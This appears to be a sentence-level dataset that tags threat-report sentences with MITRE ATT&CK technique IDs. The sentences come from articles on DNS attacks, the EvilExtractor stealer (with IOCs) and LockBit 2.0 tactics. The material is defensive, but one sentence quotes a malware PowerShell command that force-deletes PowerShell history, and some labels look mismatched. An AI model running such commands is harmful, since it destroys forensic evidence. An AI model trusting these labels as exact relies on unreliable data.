{"sentence": "To prevent this attack, we should:Enforce source IP verifications on all network devices.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Enforce response rate limiting (RRL) settings on all DNS servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Configure open DNS resolvers to only respond to queries from a trusted source.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "HijackingIn this attack, threat actors manipulate DNS response queries to direct unsuspecting users to fraudulent or malicious websites.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This attack occurs by:Installing malware, such as a trojan horse, on the victim’s computer to incorrectly resolve DNS queries and lead the unsuspecting user to malicious sitesCompromising the target router and changing its DNS settings.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This affects all users connected to the router.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Intercepting the communications between the legitimate DNS server and user device — as in the case of a man-in-the-middle attack — and manipulating DNS responses to lead the unsuspecting user to malicious sitesTargeting the DNS server directly and then changing its DNS settings to lead unsuspecting users to different URLsAlthough", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "RebindingIn this attack, the threat actor infects the target router with malware to control it remotely.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Many people don’t protect their router using a complex password — or just safeguard it using the default factory credentials.", "labels": ["T1078"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This leaves them vulnerable to rebinding attacks.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Keep the DNS server and all client operating systems and installed applications up to date.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Tunneling This DNS attack routes unsuspecting user traffic to the attacker’s server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This attack is typical among ransomware operators for facilitating communication with the Command and Control Center (C&C) and exfiltrating data from the target device.", "labels": ["T1041"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS tunneling evades detection by security tools like firewalls.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Threat actors send stolen data from the target network in small chunks and deliver them as a series of DNS queries and responses to avoid detection.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "A DNS tunneling attack works as follows:The attacker has a server with a domain name pointing to it.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This server runs tunneling malware.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The attacker infects a computer with malware.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The infected computer might sit behind a company firewall but can use the DNS resolver.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Now, the DNS resolver can communicate with the remote attacker’s C&C server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "By doing this, each infected device and the remote attacker’s server have created a covert channel that can be used to exfiltrate data from the victim device or deliver more malware, such as ransomware, to the target device.", "labels": ["T1041", "T1105"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Configure all devices within an organization’s network to send all their DNS queries to an internal DNS server that blocks suspicious domain names.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Phantom domainIn this attack, the threat actor sets up numerous phantom domain names and requests the target DNS server to resolve them.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "These domains (commonly a large number of sub-domain names) respond very slowly or never.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent this attack, we should:Increase the number of recursive DNS servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "ConclusionThe DNS service is a critical component of internet infrastructure.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "It’s responsible for translating users’ domain names into IP addresses that other servers can understand.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "However, it was not made for security.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Any attack against the DNS service prevents all internet programs from functioning correctly.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Cybercriminals know this and have developed many ways to attack DNS services for malicious purposes.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "However, generally speaking, the keys to preventing DNS attacks include keeping the DNC server software up to date, using a dedicated DNS server to provide the DNS service, increasing the number of recursive DNS servers, and checking for vulnerabilities to mitigate DDoS attacks.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Affected platforms: WindowsImpacted parties: Any organizationImpact: Controls victim’s device and collects sensitive informationSeverity level: Critical EvilExtractor (sometimes spelled Evil Extractor) is an attack tool designed to target Windows operating systems and extract data and files from endpoint devices.", "labels": ["T1005"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It was developed by a company named Kodex, which claims it is an educational tool.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Based on our traffic source data to the host, evilextractor[.]com, malicious activity increased significantly in March 2023.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "FortiGuard Labs observed this malware in a phishing email campaign on 30 March, which we traced back to the samples included in this blog.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It usually pretends to be a legitimate file, such as an Adobe PDF or Dropbox file, but once loaded, it begins to leverage PowerShell malicious activities.", "labels": ["T1036.005"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also contains environment checking and Anti-VM functions.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Its primary purpose seems to be to steal browser data and information from compromised endpoints and then upload it to the attacker’s FTP server.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "We recently reviewed a version of the malware that was injected into a victim’s system and, as part of that analysis, identified that most of its victims are located in Europe and America.", "labels": ["T1055"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The developer released its project in October 2022 (Figure 1) and has kept updating it to increase its stability and strengthen its module.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "EvilExtractor for sale on the web Initial Access The phishing email with the malicious attachment is shown in Figure 2.", "labels": ["T1566.001"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It is disguised as an account confirmation request.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The PE header is shown in Figure 3.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The phishing email Figure 3.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "We extracted it with pyinstxtractor and found that the “PYARMOR” string in its main code file “contain.pyc”, shown in Figure 4, is an obfuscating tool for Python script that makes the malware harder to be analyzed and detected.", "labels": ["T1027"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "In addition to the Python program, we observed a .NET loader that can extract EvilExtractor.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It contains Base64-encoded data, which is a PowerShell script.", "labels": ["T1027"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "This execution file is generated from the tool “PS2EXE-GUI”, which can convert PowerShell scripts to EXE Files.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 5. .Net", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Code for EvilExtractor EvilExtractor After decrypting the pyc file, we get the primary code of EvilExtractor.", "labels": ["T1140"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "If not, it uses the following command to delete the data in PSReadline and terminate: DEL \\\"$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadline\\*\\\" -Force –Recurse It then compares the product model to see if it matches any of the following: VirtualBox, VMWare, Hyper-V, Parallels, Oracle VM VirtualBox, Citrix Hypervisor, QEMU, KVM, Proxmox VE, or Docker, as shown in Figure 6.", "labels": ["T1070.004"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also checks the victim’s hostname against 187 names from VirusTotal machines or other scanner/virtual machines, as shown in Figure 7. Figure 6.", "labels": ["T1082"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "These files are also Python programs that are obfuscated using PyArmor.", "labels": ["T1027"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The first is “KK2023.zip”, which is used for stealing browser data and saving it in the folder “IMP_Data”.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also collects browser history and passwords from the following browsers: The second file is “Confirm.zip”.", "labels": ["T1552.001"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It is a key logger that saves data in the “KeyLogs” folder.", "labels": ["T1056.001"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The last file, “MnMs.zip”, is a webcam extractor.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Its corresponding code is shown in Figure 8. Figure 8.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 10 shows the concatenated data in a text file called “Credentials.txt”.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 9.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "PowerShell script for collecting system information Figure 10.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Content of “Credentials.txt” EvilExtractor downloads files with specific extensions from the Desktop and Download folders, including jpg, png, jpeg, mp4, mpeg, mp3, avi, txt, rtf, xlsx, docx, pptx, pdf, rar, zip, 7z, csv, xml, and html.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also uses the command “CopyFromScreen” to capture a screenshot.", "labels": ["T1113"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Downloading files and getting a screenshot After EvilExtractor extracts all the data from the compromised endpoint, it uploads it to the attacker’s FTP server, shown in Figure 12.", "labels": ["T1113"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The developer of EvilExtractor also provides an FTP server for those who purchase its malware. Figure 12.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Upload file to attacker’s", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "FTP server Kodex Ransomware EvilExtractor also has a ransomware function.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It is called “Kodex Ransomware”, as shown in Figure 13.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "We extracted this PowerShell script from the .Net loader mentioned in the previous section, and the script for its ransomware is similar to the one for its stealer.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Introduction form evilextracom[.]com It downloads “zzyy.zip” from evilextractor[.]com.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Details of the unzipped file, a 7-zip standalone console, are shown in Figure 14.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 15 shows it leverages “7za.exe” to encrypt files with the parameter “-p”, which means zipping files with a password.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also generates a ransom-demanding message saved in “KodexRansom”, shown in Figure 16. Figure 14.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "File in \"zzyy.zip\" Figure 15.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "PowerShell script for Kodex Ransomware Figure 16.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Kodex ransomware's note Conclusion EvilExtractor is being used as a comprehensive info stealer with multiple malicious features, including ransomware.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Its PowerShell script can elude detection in a .NET loader or PyArmor.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Within a very short time, its developer has updated several functions and increased its stability.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "This blog explains how threat actors launch an attack via phishing mail and what files are leveraged to extract the EvilExtracrtor PowerShell script.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Users should be aware of this new info stealer and continue to be cautious about suspicious mail.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 17.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The malware described in this report are detected and blocked by FortiGuard Antivirus as: W32/EvilExtractor.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "A!tr W32/Keylogger.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "A!tr The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR, and the Fortinet AntiVirus engine is a part of each of those solutions.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The FortiGuard Web Filtering Service blocks the malicious URL and IP address.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "If you think this or any other cybersecurity threat has impacted your organization, contact our Global FortiGuard Incident Response Team.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "IOCs IP Address: 45[.]87[.]81[.]184 193[.]42[.]33[.]232 Files: 352efd1645982b8d23a841107007c8b4b024eb6bb5d6b312e5783ce4aa62b685 023548a5ce0de9f8b748a2fd8c4d1ae6c924c40acbde32e9599c868115d11f4e 75688c32a3c1f04df0fc02491180c8079d7fdc0babed981f5860f22f5e118a5e 826c7c112dd1ae80469ef81f5066003d7691a349e6234c8f8ca9637b0984fc45 b1ef1654839b73f03b73c4ef4e20ce4ecdef2236ec6e1ca36881438bc1758dcd 17672795fb0c8df81ab33f5403e0e8ed15f4b2ac1e8ac9fef1fec4928387a36d", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Executive Summary LockBit 2.0 is ransomware as a service (RaaS) that first emerged in June 2021 as an upgrade to its predecessor LockBit (aka ABCD Ransomware), which was first observed in September 2019.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Since its inception, the LockBit 2.0 RaaS attracted affiliates via recruitment campaigns in underground forums, and thus became particularly prolific during the third quarter of calendar year 2021.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The LockBit 2.0 operators claimed to have the fastest encryption software of any active ransomware strain as of June 2021, claiming accordingly that this added to its effectiveness and ability to disrupt the ransomware landscape.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "While several top-tier RaaS affiliate programs, such as Babuk, DarkSide and REvil (aka Sodinokibi) disappeared from the underground in 2021, LockBit 2.0 continued to operate and gradually became one of the most active ransomware operations.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "While Conti was recognized as being the most prolific ransomware deployed in 2021 per our 2022 Unit 42 Ransomware Threat Report, LockBit 2.0 is the most impactful and widely deployed ransomware variant we have observed in all ransomware breaches during the first quarter of 2022, considering both leak site data and data from cases handled by Unit 42 incident responders.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "And the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Additionally, LockBit 2.0 has affected many companies globally, with top victims based in the U.S., Italy and Germany.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Its most highly targeted industry verticals include professional services, construction, wholesale and retail, and manufacturing.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Palo Alto Networks customers receive protections against LockBit 2.0 attacks from Cortex XDR, as well as from the WildFire cloud-delivered security subscription for the Next-Generation Firewall.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Table of Contents LockBit 2.0 OverviewVictimologyLeak Site DataUnit 42 Incident Response Data on LockBit 2.0LockBit 2.0 Tactics, Techniques and ProceduresLockBit 2.0 Technical DetailsLockBit 3.0Courses of ActionConclusionAppendix AAdditional Resources LockBit 2.0 Overview LockBit 2.0 is another example of RaaS that leverages double extortion techniques as part of the attack to pressure victims into paying the ransom.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "In some cases, LockBit 2.0 operators have performed DDoS attacks on the victims' infrastructure as well as using a leak site.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Unlike other RaaS programs that don't require the affiliates to be super technical or savvy, LockBit 2.0 operators allegedly only work with experienced penetration testers, especially those experienced with tools like Metasploit and Cobalt Strike.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 has been observed changing infected computers’ backgrounds to a ransomware note.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The ransomware note was also used to recruit insiders from victim organizations.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The notes claimed the threat actors would pay “millions of dollars” to insiders who provided access to corporate networks or facilitated a ransomware infection by opening a phishing email and/or launching a payload manually.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Victimology LockBit 2.0 targets organizations opportunistically.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The operators work with initial access brokers to save time and allow for a larger profit potential.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "While typically seeking victims of opportunity, LockBit 2.0 does appear to have victim limitations.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The group announced that they would not target healthcare facilities, social services, educational institutions, charitable organizations and other organizations that “contribute to the survival of the human race”.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "However, despite these claims, there have been instances of affiliates undermining these guidelines by still opting to attack industry verticals such as healthcare and education.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Leak Site Data During the first calendar year quarter of 2022, LockBit 2.0 persisted as the most impactful and the most deployed ransomware variant we observed in all ransomware breaches shared on leak sites.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ransomware leak site data from the first calendar year quarter of 2022.According to leak site data analysis, LockBit 2.0 was the most impactful RaaS for five consecutive months.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The site itself typically features information such as victim domains, a time tracker and measures of how much data was compromised. Figure 2.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 claims that they have demanded ransom from at least 12,125 companies, as shown in the figure below.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Source: VX-underground.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "According to leak site data for LockBit 2.0, since its inception in June 2021, the RaaS has affected many companies globally, with top victims based in the U.S., Italy and Germany. Figure 4.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Its most highly targeted industry verticals include professional services, construction, wholesale and retail and manufacturing. Figure 5.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 impacted industry vertical chart.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "When looking at leak site data across all ransomware families, we’ve observed LockBit 2.0 targeting the highest number of organizations in the following regions: JAPAC, EMEA, and LATAM.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Unit 42 Incident Response Data on LockBit 2.0 Cases handled by Unit 42 security consultants involving LockBit 2.0 since its appearance in June 2021 demonstrate shorter dwell times and less flexibility in negotiation in the beginning of FY 2022 (measured October-September) in comparison to the end of FY 2021.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The following data is broken into fiscal years and quarters based on when the threat actor breached the network, not when the activity was noticed by a client.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 has shown a decrease in dwell time in FY 2022.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "From the last two quarters of FY 2021 to the first two quarters of FY 2022, there has been an average 37-day difference.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 average dwell time by fiscal quarter.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The difference in initial and final ransom demands over the past fiscal year has been converted to percentages and then averaged.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "In comparison, we see less flexibility in FY 2022 Q1 and Q3 – threat actors only offered an average of about 30% as a price drop.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "FY 2022 Q2 is not included due to lack of sufficient information.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 Tactics, Techniques and Procedures Technically speaking, we have observed LockBit 2.0 affiliates leveraging the following tactics, techniques and procedures: TA0001 Initial Access T1078 Valid Accounts Credentials that have either been reused across multiple platforms or have previously been exposed.", "labels": ["T1078"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Additionally, this includes VPN accounts – not just domain and local accounts.", "labels": ["T1078"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1133", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "External Remote Services Affiliates have been seen brute forcing exposed RDP services and compromising accounts with weak passwords.", "labels": ["T1110", "T1210"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1190 Exploit Public-Facing Applications Vulnerabilities such as ProxyShell (CVE-2021-34473) and improper SQL sanitization (CVE-2021-20028)", "labels": ["T1190"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0003 Persistence T1053.005 Scheduled Task/Job Scheduled Task.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "It was quite common to see scheduled tasks used to create persistence for the ransomware executable, PsExec, and occasionally some defense evasion batch scripts.", "labels": ["T1053.005", "T1059.003"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1078", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Valid Accounts Compromised accounts may be used to maintain access to the network.", "labels": ["T1078"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1136.001", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Create Account", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "In rare cases, LockBit 2.0 has been observed to create accounts for persistence with simple names, such as “a.” T1505.003 Server Software Component With the upsurgence of ProxyShell, webshells have become more common entry points.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0004 Privilege Escalation T1068 Exploitation for Privilege Escalation The ProxyShell elevation of privilege on the Exchange PowerShell Backend (CVE-2021-34523), Windows Background Intelligent Transfer Service (BITS) improperly handling symbolic links (CVE-2020-0787), and abusing the CMSTPLUA COM interface have all been seen as methods of privilege escalation.", "labels": ["T1068"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0005 Defense Evasion T1070 Indicator Removal on Host Indicators, such as logs in Windows Event Logs or malicious files, are typically removed using wevtutil, a batch script, or CCleaner.", "labels": ["T1027"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1140 Deobfuscate/Decode Files or Information Most PowerShell scripts involved in LockBit 2.0 cases are Base64 encoded.", "labels": ["T1027"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Impair Defenses: Disable or Modify Tools Windows Defender, other anti-malware solutions and monitoring tools are disabled utilizing a process explorer tool, a batch script or a specially crafted command line script.", "labels": ["T1059.003", "T1562.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1564.003", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Hide Artifacts: Hidden Window Affiliates use hidden windows to hide malicious activity from plain sight.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0006 Credential Access T1003 OS Credential Dumping As seen with other ransomware cases, Mimikatz is a key player in dumping credentials but LockBit 2.0 has been occasionally seen utilizing MiniDump as well.", "labels": ["T1003.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1555 Credentials from Password Stores LockBit 2.0 has been seen utilizing numerous tools to dump passwords from password stores and Chrome using GrabChrome and GrabRFF.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0007 Discovery T1046 Network Service Discovery Both Advanced Port Scanner and NetScan have been used to discover local network infrastructure devices and services running on remote hosts.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Active Directory queries for remote systems have been performed by ADFind.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1057 Process Discovery Process Explorer, Process Monitor and PCHunter have been utilized to discover any anti-malware or monitoring software and terminate it.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1082 System Information Discovery LockBit 2.0 enumerates system information such as hostname, shares, and domain information.", "labels": ["T1082"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1614 System Location Discovery Attempts to check the language settings.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1021.002 Remote Services: SMB/Windows Admin Shares LockBit 2.0 has been known to self-propagate via SMB.", "labels": ["T1570"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0010 Exfiltration T1030 Data Transfer Size Limits In some cases, LockBit 2.0 will limit the data transfer sizes to fly under the radar of any monitoring services a client may have set up.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1041 Exfiltration over C2 Channel MEGASync is the leading way for LockBit 2.0 affiliates to exfiltrate data from clients with it being occasionally replaced by RClone. TA0011 Command and Control T1219", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Remote Access Software AnyDesk has been the most common legitimate desktop software used to establish an interactive command and control channel, with ConnectWise seen slightly less frequently.", "labels": ["T1219"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0040 Impact T1486 Data Encrypted for Impact LockBit 2.0 is known for its extortion tactics, encrypting devices and demanding a ransom.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1489 Service Stop During the defense evasion phase, anti-malware and monitoring software is often disabled.", "labels": ["T1562.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Firewall rules have occasionally been seen being disabled as well.", "labels": ["T1562.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 Technical Details LockBit 2.0 was developed using the Assembly and Origin C programming languages and leverages advanced encryption standard (AES) and elliptic-curve cryptography (ECC) algorithms to encrypt victim data.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
